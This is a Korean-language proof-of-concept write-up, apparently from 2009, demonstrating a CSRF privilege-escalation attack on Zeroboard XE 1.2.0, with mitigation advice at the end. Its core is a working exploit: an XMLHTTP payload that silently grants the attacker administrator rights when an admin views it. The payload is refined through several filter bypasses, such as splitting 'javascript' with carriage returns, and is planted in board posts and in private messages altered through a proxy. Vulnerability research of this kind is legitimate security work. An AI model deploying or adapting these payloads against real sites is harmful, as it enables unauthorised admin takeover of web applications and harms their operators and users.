제로보드 XE - CSRF 취약점증명 작성자 : eits1st 작성날짜 : 09년 3월 16일 목 차 1. 개요 1) CSRF의정의 2) 제로보드 XE 3) CSRF 테스트환경 2. 취약점증명 1) 권한상승시웹서버로전송되는 Request( 요청 ) 구문확인및추출 2) 확인된 Request( 요청 ) 구문을 AJAX(httpxml) 코드로작성 3) AJAX(httpxml) 코드를브라우저에적용및공격확인가. 게시판에글쓰기를이용한공격나. 쪽지보내기기능을이용한공격 3. 결과및취약점대응방안 1) 대응방안가. Referer 확인나. HTML 기능제거다. 관리자패스워드확인 2) 결과 제로보드 XE의 CSRF 취약점은이미 2008년에 ISEC2008 컨퍼런스에서 x82님이발표한내용이며, 이문서는그발표자료를바탕으로작성되었다. 그후개발자의패치를통해해당문서에서일부공개된공격코드가무효화되었지만, 간단한우회방법을통해제로보드의 CSRF 취약점을다시한번증명한다는것에중점을두었다. 제로보드 XE에대한 CSRF 취약점을공부하면서시행착오를겪은부분과공격코드를만들었던과정을포함하여어느정도의흐름에맞춰작성하였기에문서전체가다소길어지는부분이있음을이해하기바란다. 참고자료 : http://x82.inetcop.org/h0me/papers/web2.0-csrf.pdf
1. 개요 1) CSRF의정의 : XSS(Cross Site Script) 공격기법의연장선으로그범위를벗어나지않으나최근웹 2.0 해킹이대두되며활발히연구되고있는공격방법이다. 취약한웹페이지에자신의권한이아닌다른 User의권한을도용하여가짜 Request( 요청 ) 문을서버로전송하여그권한이실행되도록유도하는방식이다. 2) 제로보드 XE : Xpress Engine( 구제로보드 XE) 은고영수가여러자원봉사자들과함께개발한 GPL 기반오픈프로젝트로, 제로보드4나 zb5와는별개로완전히새로개발한웹프레임워크이다. 제로보드4와는달리 BBS, 블로그, 쇼핑몰, 위키등웹사이트에필요한모든것을모듈로구현해, 종합적인웹빌더로사용할수있는프레임워크를목표로개발이진행중이다. 원래명칭은 ' 제로보드 XE' 였으나, 정식으로 CMS 기능을갖춘 1.1.0 버전안내를공지하면서 ' 보드 ' 의개념이맞지않는다며명칭을변경하였다. 제로보드의명칭을유지한 1.0.6 버전까지는다양한사이트와블로그를운영할수있는홈빌더의형태였으나, Xpress Engine으로명칭을변경한 1.1.0 버전부터는마이크로블로그 ( 플래닛 ) 패키지, 가상사이트를이용한분양시스템등더폭넓고다양한기능이탑재되어있다. 2008년 2월 28일에정식버전인 1.0.0 버전을발표하였고, 최신버전은 2009 년 3월 12일에발표한 1.2.0 버전이다. 이문서는현재 (09.3.16) 에최신버전인 1.2.0버전으로테스트되었다. 위키백과인용 (http://ko.wikipedia.org/wiki/xpress_engine) 3) CSRF 테스트환경 제로보드 XE 1.2.0 Ver 운영체제 : Fedora 4 Kernel 2.6.24.3 웹서버 : PHP 5.2.9, httpd 2.2.4, MySQL 5.0.44 공격자 PC 운영체제 : Windows XP Professional Service Pack 3 브라우저 : Internet Explorer 7 웹프록시툴 : Burpsuite 1.2
2. 취약점증명 - 개념 : 제로보드 XE의최고관리자가일반회원에게등급을상승시켜주거나권한을올려때의보내는 Request( 요청 ) 구문을확인하여, 관리자가모르게그 Request( 요청 ) 구문이실행되도록한다. 1) 권한상승시웹서버로전송되는 Request( 요청 ) 구문확인및추출 [ 그림 1] 관리자의권한으로준회원인일반 user 에게최고관리권한을부여 [ 그림 2] 권한부여시전송되는 Request( 요청 ) 값
2) 확인된 Request( 요청 ) 구문을 AJAX(httpxml) 코드로작성 - 확인된 Request( 요청 ) 구문은 XML 엘리먼트형식으로작성되어있으며 POST 방식으로서버에넘어가는것을알수있다. 우리는확인된 Request( 요청 ) 값을관리자의권한으로실행을시켜야하는것에목적이있다. 공격자가관리자에게접근 (?) 할수있는일을생각해보자. 게시판의일반적인기능인 [ 글쓰기 ], 그리고 [ 쪽지보내기 ] 가있다. 여기서는이두가지모두를사용하여접근해보도록하겠다. 먼저 Request( 요청 ) 값을브라우저에서실행할수있도록 AJAX(httpxml) 코드로작성한다. - 참고사항 : 제로보드 XE의 POST 요청문은 PHP XML Library로인해데이터가 XML 엘리먼트형식으로전송된다. - http://keithdevens.com/software/phpxml 작성된 AJAX(httpxml) 코드 var xmlhttp = new ActiveXObject('Microsoft.XMLHTTP'); xmlhttp.open('post','/webboard/zbxe/',true); xmlhttp.send( <?xml version='1.0' encoding='utf-8'?><methodcall> <params> <member_srl><![cdata[196]]></member_srl> <user_id><![cdata[victim]]></user_id> <user_name><![cdata[hacker]]></user_name> <nick_name><![cdata[hacker]]></nick_name> <email_address><![cdata[hacker @ hacker.com]]></email_address> <group_srl_list><![cdata[2]]></group_srl_list> <is_admin><![cdata[y]]></is_admin> <module><![cdata[member]]></module> <act><![cdata[procmemberadmininsert]]></act> </params></methodcall>"); - AJAX(httpxml) 코드설명 : 제로보드 XE의 POST Request( 요청 ) 값은 PHP XML Library로인해데이터가 XML 엘리먼트형식으로넘어간다. 코드상에서중요한부분은 member_srl와 is_admin 부분이다. 공격자가자신의아이디의권한을상승시켜야하기때문에해당아이디의고유번호인 member_srl를인지하고있어야하며 is_admin 의값을 Y 로보내야한다. member_srl의값은밑에그림에서처럼 [ 회원정보보기 ] 를통해쉽게알수있다.
[ 그림 3] 회원정보보기를통해 member_srl 값획득 3) AJAX(httpxml) 코드를브라우저에적용 - 브라우저가코드를실행할수있게하기위한방법 (img 태그, input 태그, iframe 태그등 ) 이여러가지가있다는것을우리는이미알고있다. 이러한태그를이용하여브라우저에적용시켜보자. 가. 게시판에글쓰기를이용한 CSRF 공격 A. Input 태그를이용한공격코드 - 1 <input type=image height=0 width=0 dynsrc="javascript:var xmlhttp=new ActiveXObject('Microsoft.XMLHTTP');xmlhttp.open('POST','/webboard/zbxe/',true);xmlh ttp.send( <?xml version='1.0' encoding='utf- 8'?> r n<methodcall> r n<params> r n<member_srl><![cdata[196]]></memb er_srl> r n<user_id><![cdata[hacker]]></user_id> r n<user_name><![cdata[h acker]]></user_name> r n<nick_name><![cdata[hacker]]></nick_name> r n<em ail_address><![cdata[hacker@hacker.com]]></email_address> r n<is_admin><![c DATA[Y]]></is_admin> r n<group_srl_list><![cdata[2]]></group_srl_list> r n< module><![cdata[member]]></module> r n<act><![cdata[procmemberadminins ert]]></act> r n</params> r n</methodcall> );">
B. 게시판글쓰기기능에공격코드적용 - 1 [ 그림 4] 게시판에공격코드적용 1 - 결과는? 다음과같은오류메시지와함께글이등록되지않는다. 그이유는위와같이요청하면게시물내용중 ]]> 를 <content> 엘리먼트의 CDATA 섹션중에끝으로인식이되면서그뒷부분의내용으로인해오류가발생하기때문이다. [ 그림 5] 게시물등록 Request( 요청 ) 구문중오류나는부분
[ 그림 6] 오류메시지확인 - 우리는이오류메시지를우회하기위해유니코드의 Carriage Return <CR> 값을넣어서엘리먼트값이꼬이는것을방지할수있다. 그리고 xmlhttp.send( 다음에나오는 도유니코드형식으로바꿔준다. 다음은 Carriage Return <CR> 값 ( ) 과 Double Quote의값 (") 을추가한코드이다. 이코드를바탕으로게시물을다시작성해보자. C. Input 태그를이용한공격코드 - 2 <input type=image height=0 width=0 dynsrc="javascript:var xmlhttp=new ActiveXObject('Microsoft.XMLHTTP');xmlhttp.open('POST','/webboard/zbxe/',true);xmlh ttp.send("<?xml version='1.0' encoding='utf- 8'?> r n<methodcall> r n<params> r n<member_srl><![cdata[196] ]></ member_srl> r n<user_id><![cdata[hacker] ]></user_id> r n<user_name> <![CDATA[hacker] ]></user_name> r n<nick_name><![cdata[hacker] ] ></nick_name> r n<email_address><![cdata[hacker@hacker.com] ]></email_ address> r n<is_admin><![cdata[y] ]></is_admin> r n<group_srl_list><![c DATA[2] ]></group_srl_list> r n<module><![cdata[member] ]></modul e> r n<act><![cdata[procmemberadmininsert] ]></act> r n</params> r n</methodcall>");">
D. 게시판글쓰기기능에공격코드적용 - 2 [ 그림 7] 게시판에공격코드적용 2 - 해당게시물로공격을했으나또다시실행이제대로되지않는다. 해당게시물을수정모드로들어가면그원인을알수있다. 기본적으로제로보드 XE에서는 javascript, iframe, script 태그의실행을방지하기위해 < 를 < 로, javascript 가 _javascript 로치환을시킨다. 우리는이것또한우회하는방법을생각해보아야한다.
[ 그림 8] 게시물의수정모드 - 작성한 AJAX 코드에서우회할부분은 _javascript 이다. 여러우회방법이있지만유니코드의 Carriage Return <CR> 값을이용하여우회해보자. 코드부분에서 dynsrc= javascript: 부분을 dynsrc=" java script: 이렇게바꾸어다시게시물을작성한다. E. Input 태그를이용한공격코드 - 3 최종완성된공격코드 <input type=image height=0 width=0 dynsrc=" java script:var xmlhttp=new ActiveXObject('Microsoft.XMLHTTP');xmlhttp.open('POST','/webboard/zbxe/',true);xmlh ttp.send("<?xml version='1.0' encoding='utf- 8'?> r n<methodcall> r n<params> r n<member_srl><![cdata[196] ]></ member_srl> r n<user_id><![cdata[hacker] ]></user_id> r n<user_name> <![CDATA[hacker] ]></user_name> r n<nick_name><![cdata[hacker] ] ></nick_name> r n<email_address><![cdata[hacker@hacker.com] ]></email_ address> r n<is_admin><![cdata[y] ]></is_admin> r n<group_srl_list><![c DATA[2] ]></group_srl_list> r n<module><![cdata[member] ]></modul e> r n<act><![cdata[procmemberadmininsert] ]></act> r n</params> r n</methodcall>");">
F. 게시판글쓰기기능에공격코드적용 - 2 [ 그림 9] 게시물수정모드후완성된공격코드삽입 G. 관리자의접근을유도한글을통해관리자권한으로공격코드실행 [ 그림 10] 정상적으로글이작성되는것을확인
[ 그림 11] 관리자권한으로글을읽음 H. 공격코드의실행여부확인 - 관리자가공격코드가삽입된게시물을읽게되면공격자가심어놓은공격코드가관리자의권한으로실행이될것이다. 즉공격자의권한이상승하는코드가실행이되는것이다. 공격자의아이디로로그인한뒤관리자의권한이부여되었는지확인할수있다. [ 그림 12] 관리자페이지에접근시도
[ 그림 13] 관리자페이지에접근성공 나. 쪽지보내기기능을이용한 CSRF 공격 A. 쪽지보내기기능확인 - [ 게시판을이용한 CSRF 공격 ] 에사용된공격코드를쪽지보내기기능에그대로사용한다. 하지만아래그림과같이쪽지보내기기능에는 [html편집기 ] 라는탭이없기때문에 html 코드를작성할수없다. [ 그림 14] 쪽지보내기기능
B. 쪽지보내기사용시 Request( 요청 ) 구문과 Response( 응답 ) 구문확인 - 일반적으론 html 코드를삽입할수없다. 이부분을우회하기위해웹프록시툴인 Burpsuite를이용하여 html을삽입할수있게만들어보자. 우선쪽지보내기버튼을클릭하는순간서버로날라가는 Request( 요청 ) 구문의 Response( 응답 ) 구문을확인한다. [ 그림 15] 쪽지보내기를클릭 [ 그림 16] 쪽지보내기를클릭했을때서버로전송되는 Request( 요청 ) 구문
[ 그림 17] 쪽지보내기를클릭했을때서버에서받는 Response( 응답 ) 구문 C. Html 코드입력을위한 Response( 응답 ) 구문수정 - Response( 응답 ) 구문을중 editortypeselector 부분이있다. 그부분을확인하면 use_rich_1은스타일편집기, use_html_1은 html편집기, preview_html_1은미리보기라는것을알수있다. 일반적인글쓰기모드의 Response( 응답 ) 코드의 editortypeselector 부분 <ul class="editortypeselector"> <li class="active" id="use_rich_1"><a href="#xeeditor" onclick="editorchangemode('', '1')"><span>? ㅽ???? 몄쭛湲?/span></a></li> <!-- HTML 紐 5뱶?ъ슜 --> <li id="use_html_1"><a href="#htmleditor" onclick="editorchangemode('html', '1')"><span>HTML? 몄쭛湲?/span></a></li> <li id="preview_html_1"><a href="#htmleditor" onclick="editorchangemode('preview','1');"><span> 誘몃 蹂닿린 </span></a></li> </ul>
[ 그림 18] 쪽지보내기를클릭했을때서버에서받는 Response( 응답 ) 구문 - 일반적인글쓰기모드에서 editortypeselector 부분과 [ 그림 18] 에보여지는 editortypeselector 코드를비교해보면 use_html_1 부분이없는것을확인할수있다. 쪽지보내기의 Response( 응답 ) 구문에는 use_html_1 이없으므로 html편집기를사용할수없는것이다. use_html_1 코드부분을추가해줘도되지만여기서는간단하게 use_rich_1( 스타일편집기 ) 코드를수정하여 html 편집기모드로바꿔보자. [ 그림 19] use_rich_1 부분에서 editorchangemode 의인자값 html 을삽입 D. 공격코드삽입및쪽지보내기확인 - editortypeselector의코드수정후쪽지보내기화면은깨져나오게된다. ( 쪽지보내기화면이깨지는이유중한가지는레이아웃사이즈가맞지않기때문이라고유추해볼수있다 ) 하지만정상적으로글을쓸수있으며, 쪽지가보내지므로공격코드를삽입하여관리자에게쪽지를보내보자.
[ 그림 20] 쪽지보내기화면이깨지지만정상적으로쪽지를보낼수있음 [ 그림 21] 스크롤바를조금내린후코드를삽입하여전송
E. 관리자의쪽지확인을통한공격코드실행 - 게시판의글과마찬가지로관리자는공격코드가삽입된것을알수없다. [ 그림 22] 관리자로접속하여쪽지를확인 1 [ 그림 23] 관리자로접속하여쪽지를확인 2
F. 공격코드의실행여부확인 - 관리자가쪽지를확인하는순간공격코드관리자의권한으로실행이될것이다. 공격자의아이디로로그인한뒤관리자의권한이부여되었는지확인할수있다. [ 그림 24] 관리자페이지에접근시도 [ 그림 25] 관리자페이지에접근성공
3. 결과및취약점대응방안 1) 대응방안가. Referer 확인 - 관리자가권한을수행하는데있어서정상적인페이지에서부터시작이되었는지확인할필요가있다. Referer 또한조작이가능하지만우선적으로 Referer를확인하여정상적인 Request( 요청 ) 구문인지확인해야한다. 나. HTML 기능제거 - 일반유저가게시판이나쪽지에 HTML 코드를사용할수있는부분을제거하는것이좋다. 물론플래시파일을이용하여충분히우회가가능하지만최소한의권한을일반유저에게부여하는것이보안을높일수있는가장좋은방법이다. 다. 관리자패스워드확인 - 관리자가회원의권한을수정하는것과같은중요한기능을수행할때관리자에게아이디와패스워드를한번더물어보아야한다. 그렇게하면관리자패스워드를알아내지않는이상관리자권한을이용한 CSRF 공격을할수없다. 2) 결과 - CSRF 취약점은관리자자신도모르게공격자가원하는코드를실행시켜준다. 위에서보여진권한상승뿐만아니라소속그룹을바꾼다거나, 특정아이디의사용중지, 정보변경등많은부분으로응용이가능하다. 제로보드 XE 뿐만아니라웹상에많은어플리케이션이 CSRF 취약점에노출되어있으며그에따라패치나수정보완이필요하다. [ 경고 ] 이문서는 CSRF 취약점을연구하면서긍정적인목적으로작성한문서입니다. 이문서를악용하여사용한법적책임은모두당사자에게있음을밝힙니다.